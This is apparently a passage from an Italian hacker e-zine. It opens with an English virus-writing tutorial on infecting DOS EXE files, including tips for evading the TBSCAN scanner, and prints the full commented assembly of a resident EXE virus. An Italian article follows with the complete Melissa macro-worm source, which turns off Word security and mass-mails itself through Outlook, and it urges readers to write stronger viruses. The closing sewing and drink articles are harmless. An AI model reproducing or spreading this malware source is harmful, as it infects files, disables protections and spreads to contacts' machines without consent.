page. Even more since we are going to use 4 bytes for the size,
why
not just eliminate it? The virus programmer has such a rough life
:-)). Entry number 06 contains the number of entries in the FAT
(number of pointers, see below) and entry 18 has the offset from
the
FAT within the file. The header size (entry 08) includes the FAT.
The minimum memory requirement (0A) indicates the least amount of
free memory the program needs in order to run and the maximum (0C)
the ideal amount of memory to run the program. (Generally this is
set to FFFF = 1M by the linkers, and DOS hands over all available
memory).
The SS:SP and CS:IP contain the initial values for theses
registers (see below). Note that SS:SP is set backwards, which
means that an LDS cannot load it. The checksum (12) and the number
of overlays (1a) can be ignored since these entries are never used.

% EXE vs. COM load process %
Well, by now we all know exhaustively how to load a .COM:
We build a PSP, we create an Environment Block starting from the
parent block, and we copy the COM file into memory exactly as it
is, below the PSP. Since memory is segmented into 64k "caches" no
COM file can be larger than 64K. DOS will not execute a COM file
larger than 64K. Note that when a COM file is loaded, all
available memory is granted to the program.
Where it pertains to EXEs, however, bypassing these limitations is
much more complex; we must use the FAT and the EXE header for
this.
When an EXE is executed, DOS first performs the same functions
as
in loading a COM. It then reads into a work area the EXE header
and, based on the information this provides, reads the program into
its proper location in memory. Lastly, it reads the FAT into
another work area. It then relocates the entire code.

What does this consist of? The linker will always treat any
segment references as having a base address of 0. In other words,
the first segment is 0, the second is 1, etc. On the other hand,
the program is loaded into a non-zero segment; for example, 1000h.
In this case, all references to segment 1 must be converted to
segment 1001h.

The FAT is simply a list of pointers which mark references of
this type (to segment 1, etc.). These pointers, in turn, are also
relative to base address 0, which means they, too, can be
reallocated. Therefore, DOS adds the effective segment (the
segment into which the program was loaded; i.e. 1000h) to the
pointer in the FAT and thus obtains an absolute address in memory
to reference the segment. The effective segment is also added to
this reference, and having done this with each and every segment
reference, the EXE is reallocated and is ready to execute.
Finally, DOS sets SS:SP to the header values (also reallocated; the
header SS + 1000H), and turns control over to the CS:IP of the
header (obviously also reallocated).

Lets look at a simple exercise:

EXE PROGRAM FILE
Header CS:IP (Header) 0000:0000 +
(reallocation Eff. Segment 1000 +
table entries=2) PSP 0010 =
-------------------------
Entry Point 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿
Reallocation Table ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³
ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
Program Image ³ ³ PROGRAM IN MEMORY ³
³ ³ PSP 1000:0000 ³
call 0001:0000 ³ ÀÄÄ> call 1011:0000 1010:0000 <ÄÙ
nop ³ nop 1010:0005
mov ax, 0003 ÀÄÄÄÄ> mov ax, 1013 1010:0006
mov ds, ax mov ds, ax 1010:0009

Note: I hope you appreciate my use of the little arrows, because it
cost me a testicle to do it by hand using the Alt+??? keys in
Norton Commander Editor.

% Infecting the EXE %
Once it has been determined that the file is an EXE and NOT a
COM, use the following steps to infect it:

- Obtain the file size and calculate the CS:IP
This is complex. Most, if not all, viruses add 1 to 15
garbage bytes to round out to a paragraph. This allows you to
calculate CS in such a way that IP does not vary from file to
file. This, in turn, allows you to write the virus without
"reallocation" since it will always run with the same offset,
making the virus both less complex and smaller. The (minimal)
effort expended in writing these 1 - 15 bytes is justified by
these benefits.
- Add the virus to the end of the file.
Well, I'm sure that by now you are familiar function 40H of
Int 21H, right? :-)
- Calculate the SS:SP
When infecting an EXE it is necessary for the virus to "fix"
itself a new stack since otherwise the host's stack could be
superimposed over the virus code and have it be overwritten
when the code is executed. The system would then hang.
Generally, SS is the same as the calculated CS, and SP is
constant (you can put it after the code). Something to keep
in mind: SP can never be an odd number because, even though it
will work, it is an error and TBSCAN will catch it. (TBSCAN
detects 99% of the virus stacks with the "K" flag. The only
way to elude this that I'm aware of, is to place the stack
AHEAD of the virus in the infected file, which is a pain in
the ass because the infection size increases and you have to
write more "garbage" to make room for the stack.
- Modify the size shown in the header
Now that you've written the virus, you can calculate the final
size and write it in the header. It's easy: place the size
divided by 512 plus 1 in 'pages' and the rest in 'remainder'.
All it takes is one DIV instruction.
- Modify the "MinAlloc"
In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS
will give it all the available memory. In such cases, there
is more than enough room for HOST+VIRUS. But, two things
could happen:
1. It could be that "MaxAlloc" is not set to FFFF, in which
case only the minimum memory is granted to the host and
possibly nothing for the virus.

2. It could be that there is too little memory available,
thus when the system gives the program "all the available
memory"
(as indicated by FFFF) there may still be
insufficient memory for HOST+VIRUS.
In both cases, the virus does not load and the system halts.
To get around this, all that needs to be done is to add to
"MinAlloc" the size of the virus in "paragraphs". In the
first case, DOS would load the program and everything would
work like a charm. In the second case, DOS would not execute
the file due to "insufficient memory".

Well, that's all. Just two last little things: when you write an
EXE infector, we are interested not only in the infection routine
but also the installation routine. Keep in mind that in an EXE DS
and ES point to the PSP and are different from SS and CS (which in
turn can be different from each other). This can save you from
hours of debugging and inexplicable errors. All that needs to be
done is to follow the previously mentioned steps in order to infect
in the safe, "traditional" way. I recommend that you study
carefully the virus example below as it illustrates all the topics
we've mentioned.

% Details, Oh, Details ... %
One last detail which is somewhat important, deals with
excessively large EXEs. You sometimes see EXEs which are
larger than 500K. (For example, TC.EXE which was the IDE for
TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very
common; they simply have internal overlays. It's almost
impossible to infect these EXEs for two reasons:
1. The first is more or less theoretical. It so happens
that it's only possible to direct 1M to registers
SEGMENT:OFFSET. For this reason, it is technically
impossible to infect EXEs 1M+ in size since it is
impossible to direct CS:IP to the end of the file. No
virus can do it. (Are there EXEs of a size greater than
1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!)
2. The second reason is of a practical nature. These EXEs
with internal overlays are not loaded whole into memory.
Only a small part of the EXE is loaded into memory, which
in turn takes care of loading the other parts AS THEY ARE
NEEDED. That's why its possible to run an 800K EXE (did
you notice that 800K > 640K? :-) ). How does this fact
make these EXEs difficult to infect? Because once one of
these EXEs has been infected and the virus has made its
modifications, the file will attempt to load itself into
memory in it's entirety (like, all 800K). Evidently, the
system will hang. It's possible to imagine a virus
capable of infecting very large EXEs which contain
internal overlays (smaller than 1M) by manipulating the
"Header Size", but even so I can't see how it would work
because at some point DOS would try to load the entire
file.

% A Special case: RAT %
Understanding the header reallocation process also allows us to
understand the functioning of a virus which infects special EXEs.
We're talking about the RAT virus. This virus takes advantage of
the fact that linkers tend to make the headers in caches of 512
bytes, leaving a lot of unused space in those situations where
there is little reallocation.
This virus uses this unused space in order to copy itself
without using the header (of the file allocation table). Of
course, it works in a totally different manner from a normal EXE
infector. It cannot allow any reallocation; since its code is
placed BEFORE the host, it would be the virus code and not the host
which is reallocated. Therefore, it can't make a simple jump to
the host to run it (since it isn't reallocated); instead, it must
re-write the original header to the file and run it with AX=4B00,
INT 21.

% Virus Example %
OK, as behooves any worthwhile virus 'zine, here is some totally
functional code which illustrates everything that's been said about
infecting EXEs. If there was something you didn't understand, or
if you want to see something "in code form", take a good look at
this virus, which is commented OUT THE ASS.

-------------------- Cut Here ------------------------------------
;NOTE: This is a mediocre virus, set here only to illustrate EXE
; infections. It can't infect READ ONLY files and it modifies the
; date/time stamp. It could be improved, such as by making it
; infect R/O files and by optimizing the code.
;
;NOTE 2: First, I put a cute little message in the code and second,
; I made it ring a bell every time it infects. So, if you infect

; your entire hard drive, it's because you're a born asshole.

code segment para public
assume cs:code, ss:code
VirLen equ offset VirEnd - offset VirBegin
VirBegin label byte
Install:
mov ax, 0BABAH ; This makes sure the virus doesn't go resident

; twice
int 21h
cmp ax, 0CACAH ; If it returns this code, it's already
; resident
jz AlreadyInMemory

mov ax, 3521h ; This gives us the original INT 21 address so
int 21h ; we can call it later
mov cs:word ptr OldInt21, bx
mov cs:word ptr OldInt21+2, es

mov ax, ds ; \
dec ax ; |
mov es, ax ; |
mov ax, es:[3] ; block size ; | If you're new at this,
; | ignore all this crap
sub ax, ((VirLen+15) /16) + 1 ; | (It's the MCB method)
xchg bx, ax ; | It's not crucial for EXE
mov ah,4ah ; | infections.
push ds ; | It's one of the ways to
pop es ; | make a virus go resident.
int 21h ; |
mov ah, 48h ; |
mov bx, ((VirLen+15) / 16) ; |
int 21h ; |
dec ax ; |
mov es, ax ; |
mov word ptr es:[1], 8 ; |
inc ax ; |
mov es, ax ; |
xor di, di ; |
xor si, si ; |
push ds ; |
push cs ; |
pop ds ; |
mov cx, VirLen ; |
repz movsb ; /

mov ax, 2521h ; Here you grab INT 21
mov dx, offset NewInt21
push es
pop ds
int 21h
pop ds ; This makes DS & ES go back to their original
; values
push ds ; IMPORTANT! Otherwise the EXE will receive the
pop es ; incorrect DE & ES values, and hang.

AlreadyInMemory:
mov ax, ds ; With this I set SS to the
; Header value.
add ax, cs:word ptr SS_SP ; Note that I "reallocate" it
; using DS since this is the
add ax, 10h ; the segment into which the
mov ss, ax ; program was loaded. The +10
; corresponds to the
mov sp, cs:word ptr SS_SP+2 ; PSP. I also set SP
mov ax, ds
add ax, cs:word ptr CS_IP+2 ; Now I do the same with CS &
add ax, 10h ; IP. I "push" them and then I
; do a retf. (?)
push ax ; This makes it "jump" to that
mov ax, cs:word ptr CS_IP ; position
push ax
retf

NewInt21:
cmp ax, 0BABAh ; This ensures the virus does not go
jz PCheck ; resident twice.
cmp ax, 4b00h ; This intercepts the "run file" function
jz Infect ;
jmp cs:OldInt21 ; If it is neither of these, it turns control

; back to the original INT21 so that it
; processes the call.
PCheck:
mov ax, 0CACAH ; This code returns the call.
iret ; return.

; Here's the infection routine. Pay attention, because this is
; "IT".
; Ignore everything else if you wish, but take a good look at this.
Infect:
push ds ; We put the file name to be infected in DS:DX.
push dx ; Which is why we must save it.
pushf
call cs:OldInt21 ; We call the original INT21 to run the file.

push bp ; We save all the registers.
mov bp, sp ; This is important in a resident routine,
;since if it isn't done,
push ax ; the system will probably hang.
pushf
push bx
push cx
push dx
push ds

lds dx, [bp+2] ; Again we obtain the filename (from the stack)
mov ax, 3d02h ; We open the file r/w
int 21h
xchg bx, ax
mov ah, 3fh ; Here we read the first 32 bytes to memory.
mov cx, 20h ; to the variable "ExeHeader"
push cs
pop ds
mov dx, offset ExeHeader
int 21h

cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
jz Continue ; "real" EXE or if it's a COM.
jmp AbortInfect ; If it's a COM, don't infect.
Continue:
cmp ds:word ptr Checksum, 'JA' ; This is the virus's way
; of identifying itself.
jnz Continue2 ; We use the Header Chksum for this
jmp AbortInfect ; It's used for nothing else. If
; already infected, don't re-infect. :-)
Continue2:
mov ax, 4202h ; Now we go to the end of file to see of it
cwd ; ends in a paragraph
xor cx, cx
int 21h
and ax, 0fh
or ax, ax
jz DontAdd ; If "yes", we do nothing
mov cx, 10h ; If "no", we add garbage bytes to serve as
sub cx, ax ; Note that the contents of DX no longer matter
mov ah, 40h ; since we don't care what we're inserting.
int 21h

DontAdd:
mov ax, 4202h ; OK, now we get the final size, rounded
cwd ; to a paragraph.
xor cx, cx
int 21h

mov cl, 4 ; This code calculates the new CS:IP the file must
shr ax, cl ; now have, as follows:
mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
add dx, ax ; DX now has the CS value it must have.
sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
; paragraphs from the header
push dx ; and save the result in the stack for later.
; <------- Do you understand why you can't infect
; EXEs larger than 1M?

mov ah, 40h ; Now we write the virus to the end of the file.
mov cx, VirLen ; We do this before touching the header so that

cwd ; CS:IP or SS:SP of the header (kept within the

; virus code)
int 21h ; contains the original value
; so that the virus installation routines work
; correctly.

pop dx
mov ds:SS_SP, dx ; Modify the header CS:IP so that it
; points to the virus.
mov ds:CS_IP+2, dx ; Then we place a 100h stack after the
mov ds:word ptr CS_IP, 0 ; virus since it will be used by
; the virus only during the installation process. Later, the
; stack changes and becomes the programs original stack.
mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
; the previous command SP to have an even value, otherwise
; TBSCAN will pick it up.
mov ax, 4202h ; We obtain the new size so as to calculate the
xor cx, cx ; size we must place in the header.
cwd
int 21h
mov cx, 200h ; We calculate the following:
div cx ; FileSize/512 = PAGES plus remainder
inc ax ; We round upwards and save
mov word ptr ds:ExeHeader+2, dx ; it in the header to
mov word ptr ds:ExeHeader+4, ax ; write it later.
mov word ptr ds:Checksum, 'JA'; We write the virus's
; identification mark in the
; checksum.
add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
; We add the number of paragraphs to the "MinAlloc"
; to avoid memory allocation problems (we also add 10
; paragraphs for the virus's stack.

mov ax, 4200h ; Go to the start of the file
cwd
xor cx, cx
int 21h
mov ah, 40h ; and write the modified header....
mov cx, 20h
mov dx, offset ExeHeader
int 21h

mov ah, 2 ; a little bell rings so the beginner remembers
mov dl, 7 ; that the virus is in memory. IF AFTER ALL
int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
; NUTS.
AbortInfect:
mov ah, 3eh ; Close the file.
int 21h
pop ds ; We pop the registers we pushed so as to save
pop dx ; them.
pop cx
pop bx
pop ax;flags ; This makes sure the flags are passed
mov bp, sp ; correctly. Beginners can ignore this.
mov [bp+12], ax
pop ax
pop bp
add sp, 4
iret ; We return control.


; Data
OldInt21 dd 0
; Here we store the original INT 21 address.

ExeHeader db 0eh DUP('H');
SS_SP dw 0, offset VirEnd+100h
Checksum dw 0
CS_IP dw offset Hoste,0
dw 0,0,0,0
; This is the EXE header.
VirEnd label byte

Hoste:
; This is not the virus host, rather the "false host" so that
; the file carrier runs well :-).
mov ah, 9
mov dx, offset MSG
push cs
pop ds
int 21h
mov ax, 4c00h
int 21h
MSG db "LOOK OUT! The virus is now in memory!", 13, 10
db "And it could infect all the EXEs you run!", 13, 10
db "If you get infected, that's YOUR problem", 13, 10
db "We're not responsible for your stupidity!$"
ends
end
-------------------- Cut Here -------------------------------------

% Conclusion %
OK, that's all, folks. I tried to make this article useful for
both the "profane" who are just now starting to code Vx as well as
for those who have a clearer idea. Yeah, I know the beginners
almost certainly didn't understand many parts of this article due
the complexity of the matter, and the experts may not have
understood some parts due to the incoherence and poor descriptive
abilities of the writer. Well, fuck it.
Still, I hope it has been useful and I expect to see many more
EXE infectors from now on. A parting shot: I challenge my readers
to write a virus capable of infecting an 800K EXE file (I think
it's impossible).

>>>>>XaRaBaS LiVeS SoMeWhErE In TiMeS<<<<<

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

-------- Melissa Virus --------

Ciao ragazzi , sono |M4X|. Si sono io quello che su irc scassa a tutti le
palle per cercare collaboratori per Newbie.
Ecco ora che mi sono presentato voi naturalmente non leggerete il mio articolo
...ma visto che non c'e' niente da leggere ... vi ho fregato!
Questo e' il codice sorgente del virus Melissa. Ora voi mi direte ma perche'
capsi lo hai inserito? Che c'e' ne fraga a noi ? Noi abbiamo i piu' potenti
antivirus del mondo !
E allora io vi dico .. anzi non vi dico niente ! :)
Lo metto per tre motivi :
1) Tanti su irc mi hanno chiesto il sorg per fare delle patch anti-melissa
2) Studiatevi sto sorg per capire cosa fa il virus ... non siate lamer ! Dovete
cercare di capire il procedimento di infezione di sto virus ... magari
potete implementarne uno piu' potente voi !
3) Perche' potrebbe interessare a molti

//-------------------------------cut here-----------------------------------//
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"

End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over. I'm outta here."

End Sub
//-------------------------------cut here-----------------------------------//

Ecco, il sorgente e' finito ... naturalmente io ve lo dato ma non fate danni !
Almeno se dovete farli ... fateli a chi se li merita :) tipo :

nobod.... opsssssssssssss ho sbagliato mail :))))

questo e' la mail giusta : billg@microsoft.com .

Per richiesta d'aiuto,collaborazione per newbie,suggerimenti utili (e dico
UTILI) citofonatemi (solo una volta .. se non rispondo allora vuol dire che
sono fuori , magari ripassate piu' tardi ) a : maxpirata@hotmail.com

Per critiche : billg@microsoft.com ----> rispondero' a tutte le vostre
critiche! Promessa di boyscout

Saluti speciali a:Nobo,Rigor,Sikkolo,Paradox,Adryana,^SimoH^,Cybermax,SmilzO,
mr_bis0n,bismark,tutto il canale #cacca e quelli che
ingiustamente mi sono dimenticato!

Ciao a tutti i lettori di newbie da :
|M4X|
maxpirata@hotmail.com

P.S: Se questo tipo di argomento vi e' piaciuto allora incitatemi e continuo
con il Virus Code! Se non vi e' piaciuto allora ditemelo ed io ...
continuo con il virus code ! eheheheh :) Scherzo, ma comunque aspetto
le vostre opinioni !

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

D0LLs :voodo2 e voodo3...costruiamo una bambolina voodo2

By smav

DISCLAIMER LEGALE: mi assumo tutte le responsabilita' di tutto quello che c'e'
scritto in questo articolo, tutto quello che ho spiegato
qui di seguito corrisponde a esperienze personali, non mi
assumo responsabilita' se regalate la bambola alla
cuginetta di 4 anni e la vostra amorevole zia vi martella
chiedendovi come vi fosse venuto in mente di costruire una
cosa del genere:)

-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-

Materiale:

- vari pezzi di stoffa (vanno bene anche scampoli vari, chiedeteli alla zia
di cui sopra)
- un po' di imbottitura ignifuga(in generale si compra da un tappezziere o in
una merceria ben fornita)
- ago e filo di vari colori(il filo non l'ago hihihi)
- forbici (magari con la punta arrotondata x non farvi male hihihih)
- bottoni colorati (almeno una coppia uguale)
- filo di cotone un po' + spesso (di un colore decente..servira' x fare i
capelli:D)
- molta fantasia (quella ci vuole sempre:)

-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-

Materiale di consumo:

- mhmhm in realta' non ho ne' bevuto ne' fumato nulla perche' come qualcuno
sapra' gia' io non fumo e non bevo :) cmq ho mangiato un mega pacchetto di
cipster, e ho bevuto una bottiglia di coca cola:P
- nel frattempo il n0bo aveva gia' fumato 4 pacchetti di Pall Mall light (le
sue n0bocicche) :D

-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-

Allora!Decidete se volete fare un bambola voodo3 o voodo2. Si differenziano
dal fatto che la voodo2 e' + pikkola e fuma solamente(come cilotta, l'esempio
che riportero' in questo articolo), invece della voodo3 ne parlero' in
un'altra occasione [curiosi eheheh].
Cominciamo!Prendete un pezzo di stoffa grande quanto il vostro palmo aperto,
possibilmente bianco.Tagliatelo a forma esagonale (con 6 lati!:P) e fate un
taglio che parte da ogni vertice lungo circa 3 cm.A questo punto prendete un
po' di imbottitura, fatene una pallina soffice, e mettetela al centro
dell'esagono di stoffa.Chiudete ogni lembo sora l'altro, e cuciteli alla fine
tutti insieme...(basta cucire l'ultimo sugli altri).
Ecco fatta la testa...bhe, quasi pronta^_^.
Prendete un altro pezzo di stoffa, questa volta largo 4 volte il pezzo di
prima, ma come se fossero 4 pezzi messi in fila.
_ _ _ _ _
|_| <--pezzo x la testa |_|_|_|_| <--pezzo che useremo ora

Ora girate la stoffa, e al rovescio piegatela in due (con il disegno
all'interno).Cucite i due bordi a fianco, e rigirate questa specie di
'borsa' che avete cosi' creato, mettendo il disegno della stoffa fuori.
Riempite ora con l'imbottitura, badando bene a non essere troppo
parsimoniosi, e a non eccedere.Cucite ora il pezzo rimasto aperto, e avrete
un salsicciotto che sarebbe il corpo della bambola.Unite [sempre con ago e
filo] la testa al corpo...e vedrete cosi' cominciare a formarsi la vostra
bambola.
Prendete ora un pezzo di stoffa largo come quello della testa, ma lungo il
doppio...
_ _ _
|_| <--pezzo della testa |_|_| <--pezzo che useremo ora


Unite le due estremita' piu' lunghe della stoffa [...immaginatevi che sia una
cartina :P] cucendole insieme, sempre al contrario. Cucite anche un'estremita'.
Rigirate queste specie di piccola borsa, e rimepite anche ui come con il
corpo, richiudete formando un altro salsicciotto.Ripetete il procedimento
anche per l'altra gamba.Per le braccia, eseguite le stesse operazioni
[attenzione ai msg di errore di winzoZz..Questa bambola ha eseguito
un'operazione non valida e sara' terminata..] usando xo' della stoffa piu'
corta (a meno che non vogliate una bambola con delle braccia da scimmia :P).
_ __
|_| <--pezzo della testa |__| <--pezzo che useremo ora


Unite gambe e braccia al resto del corpo, con ago e filo.Prendete il cotone
spesso e avvolgetelo sulla mano...verranno dei 'mucchietti di fili' abbastanza
lunghi, decidete voi di quanto, x fare i capelli...

_____pezzetto di filo che tiene gli altri fili
|
V

===========|============
===========|============

Prendete tutte le matassine che avete fatto in questo modo, e attaccatele x
la parte centrale (dove c'e' il pezzettino di filo che le tiene, insomma) alla
testa della bambola.
Ora scegliete 2 bottoni per gli occhi..solitamente 2 uguali, ma puo' essere
carina anche con due diversi iihih:) .Con del filo nero cucite un punto come
naso.Con un pezzo di stoffa rossa o anche solo del filo rosso, delineate la
bocca, e adesso arriva il tocco finale.Prendete un pezzetto di stoffa bianca,
a forma di cono tagliato.
___
/ \
/ \ <--pezzo che useremo ora
/_______\


Fatelo grande quanto volete, ricordatevi che sara' l'unico fumo che la
bambola avra' a sua disposizione, percio' siate generosi:D .Unite come avete
imparato le due estremita' al contrario, e stavolta non chiudetene il fondo...
rigirate il tutto, riempite di imbottitura, e colorate di nero/rosso
l'ipotetico 'tizzone' eheheh:).
Ora unite il tutto cucendolo alla bocca della bambolina...e il gioco e'
fatto! La mia l'ho chiamata Cill0tta, voi chiamatela come vi pare...mandatemi
le foto delle vostre bambole con commento a smavva@yahoo.it ...e magari ci
faccio anche un sito ihihi:P

Spero che l'articolo vi sia piaciuto...alla prossima!

smav


>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
> >
> KoKACoFfEe >
> >
> by DarK-Elf & smavvula >
> >
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Collaborazione DarK-Elf Smavvola
KOKAKOFFEE....
ovvero kome rimanere sveji per 3 ore in stato semi cosciente

Conzumi vari...
2 panozzi alla nutellae nutelle...
1 siga ke mi accenderò al + presto... <DarK-Elf>
6 ore di sonno <DarK-Elf>
1 culo di bottija di kokakola sgasata <DarK-Elf>
8 ore di sonno <Smavvola>
1 culo di bottija di Acqua-2-O <smavvola>
1 gatto ke gira per casa {senza consumarlo troppo}
1 Adry ke chatta
1 divano per poggiare le kiappozze
2 gambe di Smavvola da usare kome kuscino meditativo <DarK-Elf>
1 Sharra ke studia

10x1 to... {del DarK0}
N0B0 xkè ho usato il pakketto di N0bocikke kome posacenere
Adry ke mi ospita a casa
Devvo ke ha messo su sta Slack 7 su uno dei pc ke regnano in sto salotto
Tutti i raghi dell HackIt perkè sono simpaticissimi
Smilzo perkè je presento le Bio-Shell e lui me le fa arrossire
Spirit perkè ogni tanto skompare
Letale Malattia perkè lo konfondo sempre kon spiritello
Sharra Tia xkè mi coccolano ad oltranza
Vini e NoneX xkè hanno avuto il coraggio di provare il kokakoffee
Un'anonima barista di un bar vicino al forte prenestino Xkè mi ha fatto 10
kokakoffee in 3 day
Mellax Melina Gotcha Anairda e Dai-Uffa {nonostante alkuni screzi} perkè
esistono
Anairda perkè mi ha fatto *dormire* sul suo parquet
Pomicio perkè andava in giro per kasa di Anairda in mutande
Pulcino perkè è il pulce :)
Manula e Valy perkè... non so perkè :)
Mitika perkè magari domani ci si vede...
Tutte le bellissime Bio-Shell ke perdono il loro tempo a chattare kon me..
VI ADORO

MA KE MINKIA E' STO KOKAKOFFEE ????
Una bevanda analkolika a base di coffee kokakola e tanta caffeina

KOME KAZZ T'E' VENUTO IN MENTE STO SKIFO ????
Allora in una notte di sklero {o era un day? mika rikordo} avevo un sonno
della madonna ma dovevo finire di skrivere per il day dopo una ricerka di
biologia {liceo R0X}.
Avevo Bisogno di stare svejo...
Vado in kucina e c'era solo mezza kaffettiera da 6 {in genere me la sparo
sana sana per stare svejo}
Dovevo allungare un po il koffee per raggiungere il mio klassiko
quantitativo di beveraggio...
ed ekko nel frigo tipo visione mistica... la HOHAHOLA|!|!|!|!|!|!|

KOME SI PREPARA?
Fin troppo semplice...
